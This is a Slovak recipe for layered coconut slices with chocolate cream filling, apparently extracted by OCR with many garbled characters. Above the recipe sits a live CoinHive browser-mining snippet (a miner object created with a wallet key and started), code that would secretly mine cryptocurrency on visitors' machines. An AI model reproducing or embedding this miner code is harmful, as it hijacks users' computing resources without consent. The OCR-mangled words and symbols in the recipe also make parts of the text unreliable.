Kokosové rezy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

ra

Cesto: 8 Zltkov vymie$ame s 15 dg cukru, pridame 3 PL kakaa, 15 dg mletych orechov a
opatrne vmieSame sneh z 8 bielkov. Rozdelime na 2 €asti a upeCieme 2 korpusy (kto ma
teplovzdusnu raru, moéze piect naraz, kto nie, treba upiect 2 platy postupne, t.j. najskor jeden z
polovi¢nej predpisanej davky, potom druhy).

Plnka kokosova: 3 dcl vody + 20 dg krystalového cukru uvarime, vsypeme 35 dg kokosove;j
mucky a premieSame, nechame vychladnut. (M6zeme pridaf aj 3 PL suseného mlieka.)

Plnka krémova: 2 dl mlieka a 20 dg ¢okolady na varenie uvarime, ked zovrie, vlejeme 1 dl
mlieka rozmieSaného s 20 g Maizeny Dr. Oetker a uvarime na husty kréem. Ked' vychladne,
vy§fahame s 25 dg zméaknutého vyslahaného masla + 10 dg cukru.

Postup: Na vychladnuty plat navrstvime 1/3 krémovej pinky, na riu opatrne nanesieme
kokosovu pInku (nasypeme ju na krémovu plinku rovnomerne a potom vidlickou velmi jemne
zarovname), natrieme (znova velmi opatrne) daldiu 1/3 krémovej plnky, zakryjeme 2.
upecenym platom. Ten potrieme zvySnou plnkou a posypeme kokosovou muckou. Dame
stuhnut do chladnicky aspon na 3-4 hodiny.




